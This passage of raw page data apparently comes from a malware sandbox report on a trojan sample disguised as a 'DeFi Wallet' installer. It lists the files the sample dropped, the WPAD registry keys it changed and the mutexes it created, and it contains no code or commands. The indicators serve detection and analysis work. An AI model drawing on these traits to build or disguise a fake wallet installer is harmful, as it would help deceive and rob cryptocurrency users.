Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux\\x64\\build.sh","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\vk_swiftshader_icd.json","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%TEMP%\\nsd793A.tmp","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%USERPROFILE%\\Desktop\\DeFi Wallet.lnk","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\LICENSE.electron.txt","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\am.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\ar.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\bg.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\cs.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\da.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\es-419.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\fa.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\fi.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\gu.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\he.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\hr.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\id.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\kn.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\lv.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\nb.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\pt-BR.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\pt-PT.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\ro.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\ru.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\sr.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\ta.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\te.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\th.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\tr.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\zh-CN.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\zh-TW.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app-update.yml","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\LICENSE.txt","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux\\arm","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux\\arm\\7za","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux\\arm64","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux\\ia32","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\linux\\x64","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\mac\\arm64","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\mac","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\mac\\x64","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\package.json","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\v8_context_snapshot.bin","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\win","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\win\\ia32","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\win\\ia32\\7za.exe","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\win\\x64","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\win\\x64\\7za.exe","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\binary","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\binary\\win","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\elevate.exe","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\swiftshader","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\vulkan-1.dll","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\defi-wallet-updater\\installer.exe","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\Uninstall DeFi Wallet.exe","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\AC-1F-6B-0D-DB-84\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{5F4A384C-5B98-4E51-85D5-8FED9B27753E}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\645b5191-c0b4-5fbc-b551-892e177318a7","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"645b5191-c0b4-5fbc-b551-892e177318a7","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}]}},"report_ids":{"sandbox_job_ids":["634f7036b17d98252a09880d"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Generik.KRQHYDM trojan Sample 0d683f56f2b3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0d683f56f2b3…. Malware family: Generik.KRQHYDM trojan. Threat score 100/100. 5/25 AV engines flagged this file. 7 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f"}],["$","meta","4",{"property":"og:title","content":"Malicious Generik.KRQHYDM trojan Sample 0d683f56f2b3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0d683f56f2b3…. Malware family: Generik.KRQHYDM trojan. Threat score 100/100. 5/25 AV engines flagged this file. 7 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Generik.KRQHYDM trojan Sample 0d683f56f2b3… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0d683f56f2b3…. Malware family: Generik.KRQHYDM trojan. Threat score 100/100. 5/25 AV engines flagged this file. 7 malicious and 25 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L35","11",{}]]